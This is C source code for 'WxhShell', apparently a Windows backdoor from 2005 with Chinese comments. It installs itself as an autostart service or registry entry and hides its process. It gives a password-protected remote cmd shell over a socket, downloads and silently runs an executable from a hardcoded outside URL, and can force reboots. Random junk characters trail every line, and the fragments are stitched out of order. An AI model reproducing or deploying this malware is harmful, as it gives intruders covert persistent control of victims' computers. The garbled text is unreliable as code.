  // 关机 O|Y`:xvc  
  case 'd': { y9T 5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f6( 1jx"  
    if(Boot(SHUTDOWN)) 7^!iGhI]r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xqDz*V/mD  
    else { $PlMyLu7jc  
    closesocket(wsh); ;x FB /,  
    ExitThread(0); /A>nsN?:]  
    } 6c>:h)?  
    break; <RbsQ^U  
    } ^VnnYtCRz  
  // 获取shell .|P :n'  
  case 's': { S%?%06$  
    CmdShell(wsh); ?hrz@k|  
    closesocket(wsh); }YiFiGf,  
    ExitThread(0); Te3 ?z  
    break; y(a>Y! dgU  
  } all2?neK  
  // 退出 ([SJ6ff]&  
  case 'x': { ,1t|QvO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2/F8kVx{  
    CloseIt(wsh);  '"hSX=  
    break; A58P$#)?  
    } IW}Wt{'m  
  // 离开 @eESKg(,  
  case 'q': { 6\UIp#X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t8lGC R  
    closesocket(wsh); ,l,q;]C%  
    WSACleanup(); "fN 6_*  
    exit(1); oBnes*  
    break; YJDJj x  
        } qx0F*EH|  
  } A[F@rUZp  
  } 0a!|*Z  
W8-vF++R  
  // 提示信息 BNO+-ob-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X-CoC   
} |NTqJ j  
  } oZL# *Z(h  
"ChJR[4@  
  return; lQRtsmZ0  
} w}97`.Kt!n  
D)[(  
// shell模块句柄 pOB<Bx5t  
int CmdShell(SOCKET sock) K|D1  
{ ^@Qc!(P  
STARTUPINFO si; XQOM6$~,  
ZeroMemory(&si,sizeof(si)); }:s.m8LC5n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Xe\v6gbD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #Hl?R5  
PROCESS_INFORMATION ProcessInfo; <|E*aR|M  
char cmdline[]="cmd"; VTX6_&Hc1g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ssH[\i  
  return 0; z 63y8  
} oe=1[9T"  
s=K?-O  
// 自身启动模式 u{sb^cmy  
int StartFromService(void) 8RVRfy,w  
{ oykb8~u}}  
typedef struct 5CfD/}{:#I  
{ _0ZBG(  
  DWORD ExitStatus; (7$BF~s:,  
  DWORD PebBaseAddress; Nn?$}g  
  DWORD AffinityMask; *vqUOh  
  DWORD BasePriority; l?xd3Z@7[  
  ULONG UniqueProcessId; Bq-}BN?pz  
  ULONG InheritedFromUniqueProcessId; vr6YE;Rs  
}   PROCESS_BASIC_INFORMATION; /z}b1m+  
@ W,<8  
PROCNTQSIP NtQueryInformationProcess; `Hu2a]e9  
:/"5x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iMV=R2t 2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZC^NhgX  
PH^Gjm  
  HANDLE             hProcess; (bB"6 #TI  
  PROCESS_BASIC_INFORMATION pbi; AW!A +?F6  
iG=Di)O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #D ]CuSi  
  if(NULL == hInst ) return 0; ,.|/B^jV  
Q/h-Kh mz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U+[ "b-c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m !i`|]m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6 =G=4{q  
j0{Qy;wP )  
  if (!NtQueryInformationProcess) return 0; >V\^oh)t]t  
hL}ZPHA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cT;Zz5  
  if(!hProcess) return 0; *|@386\  
$e  uI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T_9o0Qk  
m GJRCK_  
  CloseHandle(hProcess); "];@N!dA  
l<7SB5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1FT3d  
if(hProcess==NULL) return 0; Pl2eDv-y  
bg)}-]u]  
HMODULE hMod; *!dA/sid  
char procName[255]; zXbA$c  
unsigned long cbNeeded; Tv 5J  
*=T(ncR['  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NnU`u.$D  
vWa\8yf  
  CloseHandle(hProcess); |goK@ <  
% w  
if(strstr(procName,"services")) return 1; // 以服务启动 Fw}|c  
J`{  o`>  
  return 0; // 注册表启动 n@q- f-2  
} }O| 9Qb  
<jM { <8-  
// 主模块 d..JW{  
int StartWxhshell(LPSTR lpCmdLine) _qo\E=E  
{ i1bmUKZ8'L  
  SOCKET wsl; uotW[L9  
BOOL val=TRUE; }-u%6KZ   
  int port=0; cF?0=un  
  struct sockaddr_in door; )V_;]9<wt  
6)20%*[  
  if(wscfg.ws_autoins) Install(); +m/n~-6q  
M9Nr/jE  
port=atoi(lpCmdLine); :l?mNm5  
U;!J(Us  
if(port<=0) port=wscfg.ws_port; R-wz+j#  
OEC/'QOae  
  WSADATA data; !?+q7U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IcGX~zWr  
Vobq|Rd/%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .;l`VWP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o)R<sT  
  door.sin_family = AF_INET; n.C5w8f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H/={RuU  
  door.sin_port = htons(port); sNP ;  
( 5uSqw&U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (Fq:G) $  
closesocket(wsl); 8Kk41=  
return 1; %}XyzGq{  
} |>.</68Z  
`46.!  
  if(listen(wsl,2) == INVALID_SOCKET) { GJs~aRiz  
closesocket(wsl); -8<vWe  
return 1; @~UQU)-(  
} HIC!:|  
  Wxhshell(wsl); >Q?8tGfB  
  WSACleanup(); }Gy M<!:  
XP?)x Dr8  
return 0; GQQp(%T  
1EWZA  
} PrA(==FX/  
=q`T|9v  
// 以NT服务方式启动 Gzg3{fXl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !ab ef.%:  
{ i$<")q  
DWORD   status = 0; ou<,c?nNM  
  DWORD   specificError = 0xfffffff; >mG64N  
a;M{ -G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Fop +xR,Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,LxkdV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TY'61xWi  
  serviceStatus.dwWin32ExitCode     = 0; IOY7w"|LW  
  serviceStatus.dwServiceSpecificExitCode = 0; /SQ/$`1{  
  serviceStatus.dwCheckPoint       = 0; WIpV'F|t]`  
  serviceStatus.dwWaitHint       = 0; fGRV]6?V  
4"\cA:9a  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5NH4C  
  if (hServiceStatusHandle==0) return; 4-Jwy  
K>b4(^lf  
status = GetLastError(); G#^0Bh&  
  if (status!=NO_ERROR) kRBO]  
{ =;b3i1'U  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xgpf2y!{  
    serviceStatus.dwCheckPoint       = 0; 3JkdPh  
    serviceStatus.dwWaitHint       = 0; a/1;|1a.  
    serviceStatus.dwWin32ExitCode     = status; ;[(d=6{hc]  
    serviceStatus.dwServiceSpecificExitCode = specificError; s f->8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bx#=$ka  
    return; \<09.q<8  
  } 2gMG7%d  
GNq f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4l6 8+  
  serviceStatus.dwCheckPoint       = 0; M}f(-,9  
  serviceStatus.dwWaitHint       = 0; CjP<'0gT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r@bh,U$  
} $bFK2yx?=  
zNdkwj p+  
// 处理NT服务事件,比如:启动、停止 F *r)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) kfT*G +l]  
{ s(J>yd=  
switch(fdwControl) oD1k7Gq1  
{ Xc}XRKiy{  
case SERVICE_CONTROL_STOP: <c:H u{D  
  serviceStatus.dwWin32ExitCode = 0; evYn}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o)^ Wz  
  serviceStatus.dwCheckPoint   = 0; jX(hBnGW  
  serviceStatus.dwWaitHint     = 0; ( }Bb=~  
  { GQ>0E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~1[n@{*:(  
  } Hbd>sS  
  return; w`V6vYd@  
case SERVICE_CONTROL_PAUSE: .R'M'a#*!A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y0A(- "  
  break; ;FRUB@:  
case SERVICE_CONTROL_CONTINUE: uLWu. Vx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .kn2M&P>=  
  break; a#;;0R $  
case SERVICE_CONTROL_INTERROGATE: |5O>7~Tp  
  break; $~W5! m  
}; }u=Oi@~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^2+ Vt=*  
} .9PT)^2  
) ba~7A  
// 标准应用程序主函数 lv'WRS'}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g$?^bu dxv  
{ Q{L:pce-  
l:uQ#Z)  
// 获取操作系统版本 x3+ {Y  
OsIsNt=GetOsVer(); ^879sI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6w, "i#E!  
WKlyOK=}  
  // 从命令行安装 kP ,8[r  
  if(strpbrk(lpCmdLine,"iI")) Install(); [H>u'fy:C  
'wG1un;t  
  // 下载执行文件 wlaPE8Gc  
if(wscfg.ws_downexe) { "QxULiw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r]Wt!oHm5  
  WinExec(wscfg.ws_filenam,SW_HIDE); n$r`s`}  
} #S'uqP!  
>RAg63!`  
if(!OsIsNt) { 4n7Kz_!SVf  
// 如果时win9x,隐藏进程并且设置为注册表启动 ._^ne=Lx  
HideProc(); NR1M W^R  
StartWxhshell(lpCmdLine); k4{|Xn  
} ]rH[+t-  
else ?X@[ibH6  
  if(StartFromService()) H?J:_1  
  // 以服务方式启动 x5BS|3W$a  
  StartServiceCtrlDispatcher(DispatchTable); jqc}mI\#  
else 7Y(Dg`8G  
  // 普通方式启动 e'G=.:  
  StartWxhshell(lpCmdLine); Y$A2{RjRq  
ng!cK<p  
return 0; Kq-1  b  
} n9}BT^4 v  
85q/|9D  
] h(Iun  
Td'(RV  
=========================================== /}8Au$nA  
,.cR@5qI  
_G/ R;N71  
UNa "\  
1J"I.  
Zja3HGL  
" AG=PbY9  
}3X/"2SW^  
#include <stdio.h> 8T T#b?d  
#include <string.h> Cd 2<r6i  
#include <windows.h> YYYF a  
#include <winsock2.h> `@],J  
#include <winsvc.h> E OXkMr  
#include <urlmon.h> <KU 0K  
vxEi C:&]  
#pragma comment (lib, "Ws2_32.lib") {/,(F^T>2  
#pragma comment (lib, "urlmon.lib") [07E-TT2U  
ocZ}RI#Q  
#define MAX_USER   100 // 最大客户端连接数 ?%hd3zc+f  
#define BUF_SOCK   200 // sock buffer ^]R_t@  
#define KEY_BUFF   255 // 输入 buffer yVmp,""a  
aO&{.DO2  
#define REBOOT     0   // 重启 A_wf_.l4h  
#define SHUTDOWN   1   // 关机 RdWn =;  
KYm8|]'g  
#define DEF_PORT   5000 // 监听端口 x,25ROaHY  
y 2> 93m  
#define REG_LEN     16   // 注册表键长度 Y^!qeY  
#define SVC_LEN     80   // NT服务名长度 SefhOh^,V  
Kgr<OL}VJ  
// 从dll定义API y1%OH#:duD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q:megU'u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); } u;{38~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -EP1Rl`\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M*gvYo  
ue@/o,C>  
// wxhshell配置信息 Yp;Z+!!UZ  
struct WSCFG { scH61Y8`  
  int ws_port;         // 监听端口 /g{*px|  
  char ws_passstr[REG_LEN]; // 口令 y,x 2f%x  
  int ws_autoins;       // 安装标记, 1=yes 0=no MLHCBRi  
  char ws_regname[REG_LEN]; // 注册表键名 Sc>mw   
  char ws_svcname[REG_LEN]; // 服务名 K $- *  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IeYNTk &<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e&VC }%m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zl :by?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6LCtWX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p7Wt(A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }vZf&ib-   
) Y)_T&O  
}; q=5aHH% |  
";rXCH.  
// default Wxhshell configuration ) Su>8f[?e  
struct WSCFG wscfg={DEF_PORT, `D[O\ VE  
    "xuhuanlingzhe", ~F'6k&A^q  
    1, m_/U  t  
    "Wxhshell", x;u#ec4  
    "Wxhshell", r4SwvxhG  
            "WxhShell Service", N)g_LL>^  
    "Wrsky Windows CmdShell Service", L.'61ZU  
    "Please Input Your Password: ", w gS'/  
  1, {im?tZ,  
  "http://www.wrsky.com/wxhshell.exe", V_J0I*Qa4  
  "Wxhshell.exe" &!X<F,  
    }; HAK,z0/  
1!MJ+?Jl  
// 消息定义模块 f )T\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >o1dc*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #17 &rizl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :VlA2Ih&q  
char *msg_ws_ext="\n\rExit."; q"2APvsvp  
char *msg_ws_end="\n\rQuit."; 1cOR?=G~  
char *msg_ws_boot="\n\rReboot..."; jSE)&K4nI  
char *msg_ws_poff="\n\rShutdown..."; $lT8M-yK\  
char *msg_ws_down="\n\rSave to "; 2.%)OC!q&5  
gxVr1DIkN  
char *msg_ws_err="\n\rErr!"; $ uTrM8  
char *msg_ws_ok="\n\rOK!"; A)]&L`s  
zb9G&'7  
char ExeFile[MAX_PATH]; lg-_[!4Z  
int nUser = 0; j_so s%-  
HANDLE handles[MAX_USER]; ZcXAqep8'  
int OsIsNt; N=1ue`i  
ZEI)U, I.  
SERVICE_STATUS       serviceStatus; C5dM`_3L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (7G4v  
E42)93~C  
// 函数声明 rt*x[5<  
int Install(void); <WIIurp  
int Uninstall(void); b:F;6X0~Hl  
int DownloadFile(char *sURL, SOCKET wsh); +S4>}2N33  
int Boot(int flag); tI{]&dev  
void HideProc(void); Uyb0iQ-,s  
int GetOsVer(void); iZn0B5]ikj  
int Wxhshell(SOCKET wsl); yk4 @@kHW  
void TalkWithClient(void *cs); c46-8z$  
int CmdShell(SOCKET sock); Qa=Y?=Za  
int StartFromService(void); PSq?8.  
int StartWxhshell(LPSTR lpCmdLine); /";tkad^  
p}!i_P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ASbI c"S6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]`$yY5&W0  
h s',f  
// 数据结构和表定义 Zu|NF uFI  
SERVICE_TABLE_ENTRY DispatchTable[] = B.G6vx4yp  
{ L&kCI`Tb  
{wscfg.ws_svcname, NTServiceMain}, D^ @@ P  
{NULL, NULL} ;"Gy5  
}; \"ahs7ABT  
p($vM^_<"  
// 自我安装 %9>w|%+;U+  
int Install(void) $t%IJT  
{ z<55[~3  
  char svExeFile[MAX_PATH]; F&wAre<  
  HKEY key; mh}D[K=~%  
  strcpy(svExeFile,ExeFile); LH4#p%Pb%  
0C :8X   
// 如果是win9x系统,修改注册表设为自启动 =|i_T%a  
if(!OsIsNt) { j ^j"w(a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ly` A,dh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {V>F69IU  
  RegCloseKey(key); _" 9 q(1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &233QRYM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M6p\QKi  
  RegCloseKey(key); 9 o,` peH  
  return 0; jaEe$2F2  
    } bI ;I<Qa  
  } MBt\"b#t  
}  ?P +Uv  
else { ( /I6Wa  
L/jaUt[,  
// 如果是NT以上系统,安装为系统服务 nvndgeSy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %mmV#vwp  
if (schSCManager!=0) GrG'G(NQ  
{ gV.?Myy  
  SC_HANDLE schService = CreateService ^ l#6Es  
  ( GV0@We~  
  schSCManager, w|&lRo@1  
  wscfg.ws_svcname, ~o_JZ:  
  wscfg.ws_svcdisp, L-`V^{R]  
  SERVICE_ALL_ACCESS, lW| =rq-|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r&8aB85  
  SERVICE_AUTO_START, nBk&+SN  
  SERVICE_ERROR_NORMAL, EF<TU.)Zf  
  svExeFile, Xsa8YP9  
  NULL, PyfWIU7O  
  NULL, Qq:}Z7 H  
  NULL, Q$5 t~*$`  
  NULL, 0~U%csPHt  
  NULL =?C <@  
  ); k( 0;>)<i  
  if (schService!=0) eAW)|=2  
  { :^kAFLU  
  CloseServiceHandle(schService); 5 I_ :7$8  
  CloseServiceHandle(schSCManager); PoaCnoNS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kZG=C6a  
  strcat(svExeFile,wscfg.ws_svcname); KE,.Evyu=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D@&xj_#\}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7~P2q/2E>  
  RegCloseKey(key); !nl-}P,  
  return 0; %@C8EFl%3  
    } @LOfqQ$FE  
  } *4 LS``  
  CloseServiceHandle(schSCManager); K[iAN;QCe%  
} ]|!|3lQ  
} fd *XK/h  
R-m5(  
return 1; %/I:r7UR{  
} By@65KmR"  
=,zB|sjn  
// 自我卸载 PMTrG78p*  
int Uninstall(void) c #{|sR5  
{ >s/_B//[  
  HKEY key; [;ZCq!)>  
s]99'Q",  
if(!OsIsNt) { .9x* YS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZX&e,X~V  
  RegDeleteValue(key,wscfg.ws_regname); pZS]i "  
  RegCloseKey(key); ^|Z'}p|&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a&JY x  
  RegDeleteValue(key,wscfg.ws_regname); dUa>XkPa\2  
  RegCloseKey(key); /g>-s&w  
  return 0; y%vAEQ2j=  
  } `0ym3}(O  
} )] q Qgc&  
} @@*x/"GJG  
else { E\D,=|Mul  
n`Z}tQ%)o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (!fx5&F  
if (schSCManager!=0) \Ebh6SRp\  
{ b/[X8w'VP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'sZGLgT;m  
  if (schService!=0) -KC@M  
  { By6O@ .\V  
  if(DeleteService(schService)!=0) { 1P"7.{  
  CloseServiceHandle(schService); W)ug %@)  
  CloseServiceHandle(schSCManager); 2 )o2d^^  
  return 0; Ut2T:%m{  
  } 424iFc[  
  CloseServiceHandle(schService); ykbfK$j z  
  } T&[6  
  CloseServiceHandle(schSCManager); bxYSZCo*  
} mQ1  
} TXM/+sd  
]a/dvj}  
return 1; 5xr>B7MRM?  
} *-=/"m  
&Y1h=,KR9  
// 从指定url下载文件 f 4pIF"U9>  
int DownloadFile(char *sURL, SOCKET wsh) ZgEV-.>P  
{ =LLpJ+  
  HRESULT hr; V/xXW=  
char seps[]= "/"; fUf 1G{4  
char *token; %iNgHoH  
char *file; F-ZTy"z  
char myURL[MAX_PATH]; 90uXJyW;d  
char myFILE[MAX_PATH]; ! xM=7Q k  
4J[zNB]  
strcpy(myURL,sURL); I*%3E.Z@g  
  token=strtok(myURL,seps); 7ucm1   
  while(token!=NULL) Mhn1-ma:  
  { 9~=zD9,|iA  
    file=token; %0y-f  
  token=strtok(NULL,seps); Lbo3fwW  
  } T"htWo{v>  
JZ`u?ZaJ/s  
GetCurrentDirectory(MAX_PATH,myFILE); l@SV!keQ  
strcat(myFILE, "\\"); [ p,]/ ^ N  
strcat(myFILE, file); |e!Y C iU  
  send(wsh,myFILE,strlen(myFILE),0); 8Kl&_-l{b  
send(wsh,"...",3,0); OMk3\FV2Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8Y8bFWuc  
  if(hr==S_OK) g~-IT&O  
return 0; bK}ZR*)  
else ;B |  
return 1; X,+a 6F  
FWeUZI+  
} ~m<K5K6 V  
(t3gNin  
// 系统电源模块 H.iCYD_=  
int Boot(int flag) > A@yF?  
{ JcYY*p  
  HANDLE hToken; dpE^BWv3  
  TOKEN_PRIVILEGES tkp; h{"SV*Xpk/  
82 |^o  
  if(OsIsNt) { "Ia.$,k9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J#H,QYnf(L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yz0#0YG7  
    tkp.PrivilegeCount = 1; g]h@U&`~u_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pvl];w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eXsp0!v  
if(flag==REBOOT) { ~rI2 RJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6wpu[  
  return 0; fk15O_#3  
} fX:q ]  
else { n}Eu^^d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2?LPr  
  return 0; :mDOqlXW/  
} 4/{pz$  
  } 0J[B3JO@M  
  else { oMYFfnoAa  
if(flag==REBOOT) { &Oz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0?t;3 z$n  
  return 0; P=}dR&gk'  
} !/H `   
else { =?4[:#Rh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]O:u9If  
  return 0; U.Vn|s(`z  
} xX<T5Ls  
} |1H9,:*%  
AXxyB"7A}  
return 1; O0rvr$.  
} )%p46(]  
QsPg4y3?D  
// win9x进程隐藏模块 \s)$AF  
void HideProc(void) pRlScD_};  
{ d^54mfgI  
+68age;dM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6qmV/DL  
  if ( hKernel != NULL ) nF]E":  
  { %OHWGac"i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c1i[1x%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GMZ6 dK  
    FreeLibrary(hKernel); "x]7 et,  
  } 2N |iOog  
,>qtnwvlHP  
return; L Y4bn)Qf  
} tUJe-3,  
e]>=;Zn  
// 获取操作系统版本 Ui"$A/  
int GetOsVer(void) .P T7  
{ F@ |(  
  OSVERSIONINFO winfo; @6|0H`kv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %@ >^JTkY8  
  GetVersionEx(&winfo); pUmT?N!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IDF0nx]  
  return 1; E0HE@pqr  
  else LZG(T$dI  
  return 0; +B8oW3v# )  
} {=Ji2k0U'  
!"/"Mqs3$  
// 客户端句柄模块 8z|]{XW{  
int Wxhshell(SOCKET wsl) OcpvY~"Pr  
{ -/B*\X[  
  SOCKET wsh; &)Zv>P8z`  
  struct sockaddr_in client; m@I}$  
  DWORD myID; ;D-k\kv  
Omn $O>  
  while(nUser<MAX_USER) hxJKYU^%m  
{ +3AX1o%p,#  
  int nSize=sizeof(client); QTF1~A\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HnFH|H<Uf  
  if(wsh==INVALID_SOCKET) return 1; QA~F  
L{;Q6_m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BuAzO>=  
if(handles[nUser]==0) (I;81h`1G  
  closesocket(wsh); QCDica `+*  
else * #z@b  
  nUser++; o[JZ>nm  
  } O 1X)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *j<#5=l  
wj'fdrY5h  
  return 0; X-bM`7'H  
} bs% RWwn  
#/9Y}2G|]  
// 关闭 socket ? YIe<  
void CloseIt(SOCKET wsh) F3q<j$y  
{ fpZHE=}r  
closesocket(wsh); A=ez,87  
nUser--; # ax% n  
ExitThread(0); (}T},ygQ  
} |V}tTx1  
sGiK S,.K  
// 客户端请求句柄 :KRNLhWb  
void TalkWithClient(void *cs) I_?R(V[9  
{ Rm,>6bQx  
ghkV^ [  
  SOCKET wsh=(SOCKET)cs; o9M r7  
  char pwd[SVC_LEN]; i(e=  
  char cmd[KEY_BUFF]; 4 u0?[v[Hu  
char chr[1]; n^55G>"0|  
int i,j; {fEb>  
j~+(#|  
  while (nUser < MAX_USER) { @kT@IQkri  
i-WP#\s  
if(wscfg.ws_passstr) { &>Y.$eW_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (VCJn<@@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GqP02P'2  
  //ZeroMemory(pwd,KEY_BUFF); ^*y 1Fn0  
      i=0; |Q%nnN  
  while(i<SVC_LEN) { f/.f08  
!)J$f _88D  
  // 设置超时  9,tk  
  fd_set FdRead; cuf]-C1_  
  struct timeval TimeOut; +uNMyVH  
  FD_ZERO(&FdRead); p? VDBAx  
  FD_SET(wsh,&FdRead); w JgH15oB  
  TimeOut.tv_sec=8; +>Y]1IlI  
  TimeOut.tv_usec=0; #4nBov3d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g38 MF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7;6'=0(  
.k up[d(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y)GU{  
  pwd=chr[0]; 5YI6$ZdQ  
  if(chr[0]==0xd || chr[0]==0xa) { L"T :#>  
  pwd=0; &(o&Y  
  break; Z)3oiLmD  
  } |hDN$By  
  i++; 0x&L'&SpN  
    } x>4p6H{]0'  
3RlNEc%)  
  // 如果是非法用户,关闭 socket ZRr.kN+F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]haQ#e}WH  
} '['x'G50  
g>b{hkIXg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 931GJA~g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o~xGE6A*"  
d,'gh4C  
while(1) { J-klpr#  
x],XiSyp  
  ZeroMemory(cmd,KEY_BUFF); BoARM{m  
zqXDD; w3  
      // 自动支持客户端 telnet标准   r#}o +3*  
  j=0;  = ~*Vfx  
  while(j<KEY_BUFF) { O ~[[JAi[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _3g!_  
  cmd[j]=chr[0]; "-IF_Hid  
  if(chr[0]==0xa || chr[0]==0xd) { 7#N= GN  
  cmd[j]=0; 64'sJc.   
  break; 7^#O{QYol  
  } pgv, Su  
  j++; cxPOO#  
    } x'Nc}  
RO[X #c  
  // 下载文件 {?mb.~(  
  if(strstr(cmd,"http://")) { QPFv]^s(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uE%2kB*]  
  if(DownloadFile(cmd,wsh)) 7D~~<45ct  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #rz!d/)Q  
  else !b$~Sm)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z#kB+.U  
  } kexvE 3  
  else { r'*#i>PkQD  
L?Ih;  
